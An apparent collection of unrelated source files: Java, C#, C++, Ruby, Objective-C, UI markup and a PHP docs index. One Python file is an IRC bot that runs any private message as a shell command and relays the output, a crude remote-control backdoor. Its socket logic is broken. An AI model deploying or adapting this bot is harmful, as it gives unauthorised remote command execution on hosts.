text:
package com.jkoolcloud.tnt4j.dump;

import java.lang.management.ManagementFactory;
import java.lang.management.ThreadInfo;
import java.lang.management.ThreadMXBean;

/**
 * <p>
 * This class is a dump provider for dumping deadlocked threads
 *
 * </p>
 *
 * @see DumpCollection
 *
 * @version $Revision: 3 $
 *
 */
public class ThreadDeadlockDumpProvider extends ThreadDumpProvider {

	/**
	 * Create a new dump provider with a given name to dump out deadlocked threads if any found.
	 *
	 * @param name
	 *            provider name
	 */
	public ThreadDeadlockDumpProvider(String name) {
		super(name);
	}

	@Override
	public DumpCollection getDump() {
		Dump dump = new Dump("JavaDeadlockedThreads", this);
		ThreadMXBean tmbean = ManagementFactory.getThreadMXBean();

		long[] dead = tmbean.findMonitorDeadlockedThreads();
		dump.add("java.thread.deadlock.count", dead == null ? 0 : dead.length);

		if (dead != null) {
			ThreadInfo[] tinfos = tmbean.getThreadInfo(dead, Integer.MAX_VALUE);
			for (ThreadInfo ti : tinfos) {
				dump.add(ti.getThreadName() + "-" + ti.getThreadId(), ti);
			}
		}
		return dump;
	}
}


text:
/**
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package org.brixcms.registry;

import org.brixcms.registry.ExtensionPoint.Multiplicity;

import java.util.*;
import java.util.concurrent.ConcurrentHashMap;

public class ExtensionPointRegistry {
// ------------------------------ FIELDS ------------------------------

//    private final Map<ExtensionPoint<?>, Collection<?>> registrations = new HashMap<ExtensionPoint<?>, Collection<?>>();

    private final ConcurrentHashMap<ExtensionPoint<?>, Collection<?>> registrations = new ConcurrentHashMap<ExtensionPoint<?>, Collection<?>> ();

    private final List<Listener> listeners = new ArrayList<Listener>();

// -------------------------- OTHER METHODS --------------------------

    public <T> Collection<T> lookupCollection(ExtensionPoint<T> point) {
        // check multiplicity
        switch (point.getMultiplicity()) {
            case COLLECTION:
                break;
            default:
                // TODO factor out this exception into its own class
                throw new IllegalArgumentException("Extension point: " + point.getUuid()
                        + " has unsupported multiplicity of: " + point.getMultiplicity()
                        + ". Must be " + Multiplicity.COLLECTION);
        }
        Collection<T> extensions = lookup(point);
        return extensions;
    }

    private <T> Collection<T> lookup(ExtensionPoint<T> point) {
        Collection<T> extensions = get(point);
        if (extensions == null) {
            return Collections.emptySet();
        } else {
            ArrayList<T> copy = new ArrayList<T>(extensions.size());
            copy.addAll(extensions);
            return Collections.unmodifiableCollection(copy);
        }
    }

//    public synchronized <T> void lookupCollection(ExtensionPoint<T> point, Callback<T> callback) {
//        Collection<T> extensions = lookupCollection(point);
//        for (T extension : extensions) {
//            Status status = callback.processExtension(extension);
//            if (status == Status.STOP) {
//                break;
//            }
//        }
//    }

//    public synchronized <T> T lookupSingleton(ExtensionPoint<T> point) {
//        // check multiplicity
//        switch (point.getMultiplicity()) {
//            case SINGLETON:
//                break;
//            default:
//                // TODO factor out this exception into its own class
//                throw new IllegalArgumentException("Extension point: " + point.getUuid()
//                        + " has unsupported multiplicity of: " + point.getMultiplicity()
//                        + ". Must be " + Multiplicity.SINGLETON);
//        }
//
//        Iterator<T> it = lookup(point).iterator();
//
//        if (it.hasNext()) {
//            return it.next();
//        } else {
//            return null;
//        }
//    }

    /**
     * Registeres a new {@link Listener}
     *
     * @param listener listener
     * @param replay   if {@code true} the listener will receive registration events for all currently registered
     *                 extensions
     */
    public synchronized void register(Listener listener, boolean replay) {
        listeners.add(listener);

        if (replay) {
            // replay past registrations
            for (ExtensionPoint<?> point : registrations.keySet()) {
                final Collection<?> extensions = registrations.get(point);
                for (Object extension : extensions) {
                    listener.registered(point, extension);
                }
            }
        }
    }

    public synchronized <T> void register(ExtensionPoint<T> point, T extension) {
        Collection<T> extensions = get(point);
        if (extensions == null) {
            extensions = new LinkedList<T>();
            registrations.put(point, extensions);
        }

        final Multiplicity multiplicity = point.getMultiplicity();
        switch (multiplicity) {
            case SINGLETON:
                for (Object removed : extensions) {
                    for (Listener listener : listeners) {
                        listener.unregistered(point, removed);
                    }
                }
                extensions.clear();
                break;
            case COLLECTION:
                break;
        }

        extensions.add(extension);
    }

    @SuppressWarnings("unchecked")
    private <T> Collection<T> get(ExtensionPoint<T> point) {
        return (Collection<T>) registrations.get(point);
    }

// -------------------------- INNER CLASSES --------------------------

    public static interface Callback<T> {
        public static enum Status {
            CONTINUE, STOP
        }

        Status processExtension(T extension);
    }

    public static interface Listener {
        public void registered(ExtensionPoint<?> point, Object extension);

        public void unregistered(ExtensionPoint<?> point, Object extension);
    }
}

redpajama_set_name: RedPajamaGithub


text:
#import <Foundation/Foundation.h>
#import "ASPObject.h"

/**
 * NOTE: This class is auto generated by the swagger code generator program.
 * https://github.com/swagger-api/swagger-codegen
 * Do not edit the class manually.
 */

#import "ASPDrawingGradientFillStop.h"

@protocol ASPDrawingGradientFill
@end

@interface ASPDrawingGradientFill : ASPObject

@property(nonatomic) NSString* fillType;

@property(nonatomic) NSString* directionType;

@property(nonatomic) NSNumber* angle;

@property(nonatomic) NSArray<ASPDrawingGradientFillStop>* gradientStops;

@end


text:
import asyncio
import os
from socket import AF_INET, SO_REUSEADDR, SOCK_STREAM, SOL_SOCKET, socket
import time

HOST = "chat.freenode.net"  # You can change this to whatever you want
PORT = 6667

NICK = "Your Nick Name"
IDENT = "Your Identity"
REALNAME = "Your REAL Name"
MASTER = "The Master of this particular Slave"

CHANNEL = "The Channel To join"

readbuffer = ""

loop = asyncio.get_event_loop()

async def initiate_connection(address):
    sock = socket(AF_INET, SOCK_STREAM)
    sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    sock.bind(address)
    sock.listen(5)
    sock.setblocking(False)
    sock.send(bytes("NICK %s\r\n" % NICK, "UTF-8"))
    sock.send(bytes("USER %s %s bla :%s\r\n" % (IDENT, HOST, REALNAME), "UTF-8"))
    sock.send(bytes("JOIN #%s \r\n" % (CHANNEL), "UTF-8"))
    sock.send(bytes("PRIVMSG %s :Hello Master :) Tell me commands to do \r\n" % MASTER, "UTF-8"))
    while True:
        client, addr = await loop.sock_accept(sock)
        print('New command', addr)
        loop.create_task(command_handler(client))

async def command_handler(client):
    with client:
        while True:
            data = await loop.sock_recv(client, 10000)
            if not data:
                break
            temp = str.split(data, "\n")
            data = temp.pop()

            for line in temp:
                line = str.rstrip(line)
                line = str.split(line)

                if line[0] == "PING":
                    loop.sock_sendall(bytes("PONG %s\r\n" % line[1], "UTF-8"))
                if line[1] == "PRIVMSG":
                    sender = ""
                    for char in line[0]:
                        if char == "!":
                            break
                        if char != ":":
                            sender += char
                    size = len(line)
                    i = 3
                    message = ""
                    while i < size:
                        message += line[i] + " "
                        i = i + 1
                    message.lstrip(":")
                    loop.sock_sendall(bytes("PRIVMSG %s :Executing-> %s \r\n" % (sender, message[1:]), "UTF-8"))
                    # Removing the first Char and sent it to shell
                    # response = os.system(message[1:])
                    p = os.popen(message[1:] + " 2>&1", "r")
                    # Puts out the first 20 lines. There's a good reason for this.
                    n = 0
                    while n < 20:
                        line = p.readline()
                        if not line:
                            break
                        loop.sock_sendall(bytes("PRIVMSG %s :Response -> %s \r\n" % (sender, str(line)), "UTF-8"))
                        time.sleep(1)
                        n += 1
                for index, i in enumerate(line):
                    print(line[index])
    print('Connection Closed!')


text:
package app.repositories;

import app.entities.Resource;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.stereotype.Repository;

@Repository
public interface ResourcesRepository extends JpaRepository<Resource, Long> {
}


text:
class GalleryKeyword < ActiveRecord::Base
  has_and_belongs_to_many :gallery_items, :join_table => "gallery_items_keywords", :foreign_key => "keyword_id", :uniq => true,
                            :class_name => "GalleryItem", :association_foreign_key => "gallery_item_id"
  has_and_belongs_to_many :galleries, :join_table => "galleries_keywords", :foreign_key => "keyword_id", :uniq => true,
                            :class_name => "Gallery", :association_foreign_key => "gallery_id"
end


text:
<Alloy>
	<Window id="win_productDetail" height="100%" title="Tab 1" layout="vertical" width="100%">
		<ScrollView id="scrollview" layout="vertical" width="100%" showVerticalScrollIndicator="true" height="100%">

			<View class="row">
				<View height="Ti.UI.SIZE">
					Item List
				</View>
			</View>
			<View class="horizontalLine"></View>
			<View class="view_schedule" layout="vertical" height="Ti.UI.SIZE" top="0" left="10" width="Ti.UI.FILL">

				<View height="Ti.UI.SIZE" layout="vertical" width="100%">

					<View height="Ti.UI.SIZE" width="Ti.UI.FILL">
						Item 1

						<View layout="horizontal" height="Ti.UI.SIZE" width="Ti.UI.SIZE" right="0">
							<Button title="Confirm" right="10"></Button>
							<Button title="Request" right="10" width="auto"></Button>
						</View>

					</View>
					<View height="Ti.UI.SIZE" width="100%">
						Date: 22/11/2014 06:00-15:00
					</View>
				</View>
				<View class="horizontalLine"></View>

				<View height="Ti.UI.SIZE" layout="vertical" width="100%">

					<View height="Ti.UI.SIZE" width="Ti.UI.FILL">
						Item 2

						<View layout="horizontal" height="Ti.UI.SIZE" width="Ti.UI.SIZE" right="0">
							<Button title="Confirm" right="10"></Button>
							<Button title="Request" right="10" width="auto"></Button>
						</View>

					</View>
					<View height="Ti.UI.SIZE" width="100%">
						Date: 22/11/2014 06:00-15:00
					</View>
				</View>

			</View>
		</ScrollView>

	</Window>
</Alloy>


text:
namespace Microsoft.Azure.Management.ApiManagement
{
    using Microsoft.Rest;
    using Microsoft.Rest.Azure;
    using Microsoft.Rest.Azure.OData;
    using Models;
    using System.Threading;
    using System.Threading.Tasks;

    /// <summary>
    /// Extension methods for NamedValueOperations.
    /// </summary>
    public static partial class NamedValueOperationsExtensions
    {
            /// <summary>
            /// Lists a collection of NamedValues defined within a service instance.
            /// <see href="https://docs.microsoft.com/en-us/azure/api-management/api-management-howto-properties" />
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='odataQuery'>
            /// OData parameters to apply to the operation.
            /// </param>
            public static IPage<NamedValueContract> ListByService(this INamedValueOperations operations, string resourceGroupName, string serviceName, ODataQuery<NamedValueContract> odataQuery = default(ODataQuery<NamedValueContract>))
            {
                return operations.ListByServiceAsync(resourceGroupName, serviceName, odataQuery).GetAwaiter().GetResult();
            }

            /// <summary>
            /// Lists a collection of NamedValues defined within a service instance.
            /// <see href="https://docs.microsoft.com/en-us/azure/api-management/api-management-howto-properties" />
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='odataQuery'>
            /// OData parameters to apply to the operation.
            /// </param>
            /// <param name='cancellationToken'>
            /// The cancellation token.
            /// </param>
            public static async Task<IPage<NamedValueContract>> ListByServiceAsync(this INamedValueOperations operations, string resourceGroupName, string serviceName, ODataQuery<NamedValueContract> odataQuery = default(ODataQuery<NamedValueContract>), CancellationToken cancellationToken = default(CancellationToken))
            {
                using (var _result = await operations.ListByServiceWithHttpMessagesAsync(resourceGroupName, serviceName, odataQuery, null, cancellationToken).ConfigureAwait(false))
                {
                    return _result.Body;
                }
            }

            /// <summary>
            /// Gets the entity state (Etag) version of the NamedValue specified by its
            /// identifier.
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='namedValueId'>
            /// Identifier of the NamedValue.
            /// </param>
            public static NamedValueGetEntityTagHeaders GetEntityTag(this INamedValueOperations operations, string resourceGroupName, string serviceName, string namedValueId)
            {
                return operations.GetEntityTagAsync(resourceGroupName, serviceName, namedValueId).GetAwaiter().GetResult();
            }

            /// <summary>
            /// Gets the entity state (Etag) version of the NamedValue specified by its
            /// identifier.
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='namedValueId'>
            /// Identifier of the NamedValue.
            /// </param>
            /// <param name='cancellationToken'>
            /// The cancellation token.
            /// </param>
            public static async Task<NamedValueGetEntityTagHeaders> GetEntityTagAsync(this INamedValueOperations operations, string resourceGroupName, string serviceName, string namedValueId, CancellationToken cancellationToken = default(CancellationToken))
            {
                using (var _result = await operations.GetEntityTagWithHttpMessagesAsync(resourceGroupName, serviceName, namedValueId, null, cancellationToken).ConfigureAwait(false))
                {
                    return _result.Headers;
                }
            }

            /// <summary>
            /// Gets the details of the NamedValue specified by its identifier.
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='namedValueId'>
            /// Identifier of the NamedValue.
            /// </param>
            public static NamedValueContract Get(this INamedValueOperations operations, string resourceGroupName, string serviceName, string namedValueId)
            {
                return operations.GetAsync(resourceGroupName, serviceName, namedValueId).GetAwaiter().GetResult();
            }

            /// <summary>
            /// Gets the details of the NamedValue specified by its identifier.
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='namedValueId'>
            /// Identifier of the NamedValue.
            /// </param>
            /// <param name='cancellationToken'>
            /// The cancellation token.
            /// </param>
            public static async Task<NamedValueContract> GetAsync(this INamedValueOperations operations, string resourceGroupName, string serviceName, string namedValueId, CancellationToken cancellationToken = default(CancellationToken))
            {
                using (var _result = await operations.GetWithHttpMessagesAsync(resourceGroupName, serviceName, namedValueId, null, cancellationToken).ConfigureAwait(false))
                {
                    return _result.Body;
                }
            }

            /// <summary>
            /// Creates or updates a NamedValue.
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='namedValueId'>
            /// Identifier of the NamedValue.
            /// </param>
            /// <param name='parameters'>
            /// Create parameters.
            /// </param>
            /// <param name='ifMatch'>
            /// ETag of the Entity. Not required when creating an entity, but required when
            /// updating an entity.
            /// </param>
            public static NamedValueContract CreateOrUpdate(this INamedValueOperations operations, string resourceGroupName, string serviceName, string namedValueId, NamedValueCreateContract parameters, string ifMatch = default(string))
            {
                return operations.CreateOrUpdateAsync(resourceGroupName, serviceName, namedValueId, parameters, ifMatch).GetAwaiter().GetResult();
            }

            /// <summary>
            /// Creates or updates a NamedValue.
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='namedValueId'>
            /// Identifier of the NamedValue.
            /// </param>
            /// <param name='parameters'>
            /// Create parameters.
            /// </param>
            /// <param name='ifMatch'>
            /// ETag of the Entity. Not required when creating an entity, but required when
            /// updating an entity.
            /// </param>
            /// <param name='cancellationToken'>
            /// The cancellation token.
            /// </param>
            public static async Task<NamedValueContract> CreateOrUpdateAsync(this INamedValueOperations operations, string resourceGroupName, string serviceName, string namedValueId, NamedValueCreateContract parameters, string ifMatch = default(string), CancellationToken cancellationToken = default(CancellationToken))
            {
                using (var _result = await operations.CreateOrUpdateWithHttpMessagesAsync(resourceGroupName, serviceName, namedValueId, parameters, ifMatch, null, cancellationToken).ConfigureAwait(false))
                {
                    return _result.Body;
                }
            }

            /// <summary>
            /// Updates the specific NamedValue.
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='namedValueId'>
            /// Identifier of the NamedValue.
            /// </param>
            /// <param name='parameters'>
            /// Update parameters.
            /// </param>
            /// <param name='ifMatch'>
            /// ETag of the Entity. ETag should match the current entity state from the
            /// header response of the GET request or it should be * for unconditional
            /// update.
            /// </param>
            public static NamedValueContract Update(this INamedValueOperations operations, string resourceGroupName, string serviceName, string namedValueId, NamedValueUpdateParameters parameters, string ifMatch)
            {
                return operations.UpdateAsync(resourceGroupName, serviceName, namedValueId, parameters, ifMatch).GetAwaiter().GetResult();
            }

            /// <summary>
            /// Updates the specific NamedValue.
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='namedValueId'>
            /// Identifier of the NamedValue.
            /// </param>
            /// <param name='parameters'>
            /// Update parameters.
            /// </param>
            /// <param name='ifMatch'>
            /// ETag of the Entity. ETag should match the current entity state from the
            /// header response of the GET request or it should be * for unconditional
            /// update.
            /// </param>
            /// <param name='cancellationToken'>
            /// The cancellation token.
            /// </param>
            public static async Task<NamedValueContract> UpdateAsync(this INamedValueOperations operations, string resourceGroupName, string serviceName, string namedValueId, NamedValueUpdateParameters parameters, string ifMatch, CancellationToken cancellationToken = default(CancellationToken))
            {
                using (var _result = await operations.UpdateWithHttpMessagesAsync(resourceGroupName, serviceName, namedValueId, parameters, ifMatch, null, cancellationToken).ConfigureAwait(false))
                {
                    return _result.Body;
                }
            }

            /// <summary>
            /// Deletes specific NamedValue from the API Management service instance.
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='namedValueId'>
            /// Identifier of the NamedValue.
            /// </param>
            /// <param name='ifMatch'>
            /// ETag of the Entity. ETag should match the current entity state from the
            /// header response of the GET request or it should be * for unconditional
            /// update.
            /// </param>
            public static void Delete(this INamedValueOperations operations, string resourceGroupName, string serviceName, string namedValueId, string ifMatch)
            {
                operations.DeleteAsync(resourceGroupName, serviceName, namedValueId, ifMatch).GetAwaiter().GetResult();
            }

            /// <summary>
            /// Deletes specific NamedValue from the API Management service instance.
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='namedValueId'>
            /// Identifier of the NamedValue.
            /// </param>
            /// <param name='ifMatch'>
            /// ETag of the Entity. ETag should match the current entity state from the
            /// header response of the GET request or it should be * for unconditional
            /// update.
            /// </param>
            /// <param name='cancellationToken'>
            /// The cancellation token.
            /// </param>
            public static async Task DeleteAsync(this INamedValueOperations operations, string resourceGroupName, string serviceName, string namedValueId, string ifMatch, CancellationToken cancellationToken = default(CancellationToken))
            {
                (await operations.DeleteWithHttpMessagesAsync(resourceGroupName, serviceName, namedValueId, ifMatch, null, cancellationToken).ConfigureAwait(false)).Dispose();
            }

            /// <summary>
            /// Gets the secret value of the NamedValue.
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='namedValueId'>
            /// Identifier of the NamedValue.
            /// </param>
            public static PropertyValueContract ListValue(this INamedValueOperations operations, string resourceGroupName, string serviceName, string namedValueId)
            {
                return operations.ListValueAsync(resourceGroupName, serviceName, namedValueId).GetAwaiter().GetResult();
            }

            /// <summary>
            /// Gets the secret value of the NamedValue.
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='namedValueId'>
            /// Identifier of the NamedValue.
            /// </param>
            /// <param name='cancellationToken'>
            /// The cancellation token.
            /// </param>
            public static async Task<PropertyValueContract> ListValueAsync(this INamedValueOperations operations, string resourceGroupName, string serviceName, string namedValueId, CancellationToken cancellationToken = default(CancellationToken))
            {
                using (var _result = await operations.ListValueWithHttpMessagesAsync(resourceGroupName, serviceName, namedValueId, null, cancellationToken).ConfigureAwait(false))
                {
                    return _result.Body;
                }
            }

            /// <summary>
            /// Creates or updates a NamedValue.
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='namedValueId'>
            /// Identifier of the NamedValue.
            /// </param>
            /// <param name='parameters'>
            /// Create parameters.
            /// </param>
            /// <param name='ifMatch'>
            /// ETag of the Entity. Not required when creating an entity, but required when
            /// updating an entity.
            /// </param>
            public static NamedValueContract BeginCreateOrUpdate(this INamedValueOperations operations, string resourceGroupName, string serviceName, string namedValueId, NamedValueCreateContract parameters, string ifMatch = default(string))
            {
                return operations.BeginCreateOrUpdateAsync(resourceGroupName, serviceName, namedValueId, parameters, ifMatch).GetAwaiter().GetResult();
            }

            /// <summary>
            /// Creates or updates a NamedValue.
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='namedValueId'>
            /// Identifier of the NamedValue.
            /// </param>
            /// <param name='parameters'>
            /// Create parameters.
            /// </param>
            /// <param name='ifMatch'>
            /// ETag of the Entity. Not required when creating an entity, but required when
            /// updating an entity.
            /// </param>
            /// <param name='cancellationToken'>
            /// The cancellation token.
            /// </param>
            public static async Task<NamedValueContract> BeginCreateOrUpdateAsync(this INamedValueOperations operations, string resourceGroupName, string serviceName, string namedValueId, NamedValueCreateContract parameters, string ifMatch = default(string), CancellationToken cancellationToken = default(CancellationToken))
            {
                using (var _result = await operations.BeginCreateOrUpdateWithHttpMessagesAsync(resourceGroupName, serviceName, namedValueId, parameters, ifMatch, null, cancellationToken).ConfigureAwait(false))
                {
                    return _result.Body;
                }
            }

            /// <summary>
            /// Updates the specific NamedValue.
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='namedValueId'>
            /// Identifier of the NamedValue.
            /// </param>
            /// <param name='parameters'>
            /// Update parameters.
            /// </param>
            /// <param name='ifMatch'>
            /// ETag of the Entity. ETag should match the current entity state from the
            /// header response of the GET request or it should be * for unconditional
            /// update.
            /// </param>
            public static NamedValueContract BeginUpdate(this INamedValueOperations operations, string resourceGroupName, string serviceName, string namedValueId, NamedValueUpdateParameters parameters, string ifMatch)
            {
                return operations.BeginUpdateAsync(resourceGroupName, serviceName, namedValueId, parameters, ifMatch).GetAwaiter().GetResult();
            }

            /// <summary>
            /// Updates the specific NamedValue.
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='resourceGroupName'>
            /// The name of the resource group.
            /// </param>
            /// <param name='serviceName'>
            /// The name of the API Management service.
            /// </param>
            /// <param name='namedValueId'>
            /// Identifier of the NamedValue.
            /// </param>
            /// <param name='parameters'>
            /// Update parameters.
            /// </param>
            /// <param name='ifMatch'>
            /// ETag of the Entity. ETag should match the current entity state from the
            /// header response of the GET request or it should be * for unconditional
            /// update.
            /// </param>
            /// <param name='cancellationToken'>
            /// The cancellation token.
            /// </param>
            public static async Task<NamedValueContract> BeginUpdateAsync(this INamedValueOperations operations, string resourceGroupName, string serviceName, string namedValueId, NamedValueUpdateParameters parameters, string ifMatch, CancellationToken cancellationToken = default(CancellationToken))
            {
                using (var _result = await operations.BeginUpdateWithHttpMessagesAsync(resourceGroupName, serviceName, namedValueId, parameters, ifMatch, null, cancellationToken).ConfigureAwait(false))
                {
                    return _result.Body;
                }
            }

            /// <summary>
            /// Lists a collection of NamedValues defined within a service instance.
            /// <see href="https://docs.microsoft.com/en-us/azure/api-management/api-management-howto-properties" />
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='nextPageLink'>
            /// The NextLink from the previous successful call to List operation.
            /// </param>
            public static IPage<NamedValueContract> ListByServiceNext(this INamedValueOperations operations, string nextPageLink)
            {
                return operations.ListByServiceNextAsync(nextPageLink).GetAwaiter().GetResult();
            }

            /// <summary>
            /// Lists a collection of NamedValues defined within a service instance.
            /// <see href="https://docs.microsoft.com/en-us/azure/api-management/api-management-howto-properties" />
            /// </summary>
            /// <param name='operations'>
            /// The operations group for this extension method.
            /// </param>
            /// <param name='nextPageLink'>
            /// The NextLink from the previous successful call to List operation.
            /// </param>
            /// <param name='cancellationToken'>
            /// The cancellation token.
            /// </param>
            public static async Task<IPage<NamedValueContract>> ListByServiceNextAsync(this INamedValueOperations operations, string nextPageLink, CancellationToken cancellationToken = default(CancellationToken))
            {
                using (var _result = await operations.ListByServiceNextWithHttpMessagesAsync(nextPageLink, null, cancellationToken).ConfigureAwait(false))
                {
                    return _result.Body;
                }
            }

    }
}


text:
extern bool ConvertLineArcsToWire2(const std::list<HeeksObj *> &list, TopoDS_Wire& wire);
extern void SortEdges( std::vector<TopoDS_Edge> & edges );
extern bool ConvertEdgesToFaceOrWire(const std::vector<TopoDS_Edge> &edges, std::list<TopoDS_Shape> &face_or_wire, bool face_not_wire);
extern bool ConvertSketchToFaceOrWire(HeeksObj* object, std::list<TopoDS_Shape> &face_or_wire, bool face_not_wire);
extern bool ConvertFaceToSketch2(const TopoDS_Face& face, HeeksObj* sketch, double deviation);
extern bool ConvertWireToSketch(const TopoDS_Wire& wire, HeeksObj* sketch, double deviation);
extern bool ConvertEdgeToSketch2(const TopoDS_Edge& edge, HeeksObj* sketch, double deviation, bool reverse = false);
extern HeeksObj* SplitArcsIntoLittleLines(HeeksObj* sketch);
extern bool ConvertSketchToEdges(HeeksObj *object, std::list< std::vector<TopoDS_Edge> > &edges);

class ConvertSketchesToFace: public Tool
{
public:
	void Run();
	const wxChar* GetTitle(){return _("Convert sketch to face");}
	wxString BitmapPath(){return _T("la2face");}
};

class SketchesArcsToLines: public Tool
{
public:
	void Run();
	const wxChar* GetTitle(){return _("Split arcs to little lines");}
	wxString BitmapPath(){return _T("splitarcs");}
};

class MakeLineArcsToSketch: public Tool
{
public:
	void Run();
	const wxChar* GetTitle(){return _("Make To Sketch");}
	wxString BitmapPath(){return _T("makesketch");}
	const wxChar* GetToolTip(){return _("Make selected lines and arcs into a new sketch");}
};

class MakeEdgesToSketch: public Tool
{
public:
	void Run();
	const wxChar* GetTitle(){return _("Make To Sketch");}
	wxString BitmapPath(){return _T("makesketch");}
	const wxChar* GetToolTip(){return _("Make selected edges into a new sketch");}
};

class CombineSketches: public Tool
{
public:
	void Run();
	const wxChar* GetTitle(){return _("Combine sketches");}
	wxString BitmapPath(){return _T("sketchjoin");}
	const wxChar* GetToolTip(){return _("Combine selected sketches");}
};

class UniteSketches: public Tool
{
public:
	void Run();
	const wxChar* GetTitle(){return _("Unite sketches");}
	wxString BitmapPath(){return _T("sketchunite");}
	const wxChar* GetToolTip(){return _("Unite selected sketches");}
};

class GroupSelected: public Tool
{
public:
	void Run();
	const wxChar* GetTitle(){return _("Group");}
	wxString BitmapPath(){return _T("group");}
	const wxChar* GetToolTip(){return _("Group selected items");}
};

class UngroupSelected: public Tool
{
public:
	void Run();
	const wxChar* GetTitle(){return _("Ungroup");}
	wxString BitmapPath(){return _T("ungroup");}
	const wxChar* GetToolTip(){return _("Ungroup selected items");}
};

class TransformToCoordSys: public Tool
{
public:
	CoordinateSystem* coordsys1;
	CoordinateSystem* coordsys2;
	TransformToCoordSys():coordsys1(NULL),coordsys2(NULL){}
	void Run();
	const wxChar* GetTitle(){return _("Transform to Coordinate System");}
	wxString BitmapPath(){return _T("trsf2");}
	const wxChar* GetToolTip(){return _("Transform selected items using two coordinate systems");}
};

void GetConversionMenuTools(std::list<Tool*>* t_list);


text:
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

			<title></title>
			<link rel="stylesheet" href="media/stylesheet.css" />
			<meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/>

Full index

Package indexes

Joobsbox_Controller

Joobsbox_Helpers

Joobsbox_Iterator

Joobsbox_Iterator_Object

Joobsbox_Model

Joobsbox_Plugin

Joobsbox_Themes

	a
	b
	c
	d
	e
	f
	g
	i
	j
	k
	l
	m
	n
	o
	p
	r
	s
	t
	u
	v
	z
	_

a

top

						</title>
			addConfiguration

Joobsbox_Plugin_Base::addConfiguration() in Base.php

Adds the specified plugin option to the database

						</title>
			addJob

Joobsbox_Model_Search::addJob() in Search.php

						</title>
			AdminController

AdminController in AdminController.php

Manages the admin panel

						</title>
			AdminController.php

AdminController.php in AdminController.php

						</title>
			AdminBase.php

AdminBase.php in AdminBase.php

b

top

						</title>
			Base.php

Base.php in Base.php

c

top

						</title>
			CategoryController

CategoryController in CategoryController.php

						</title>
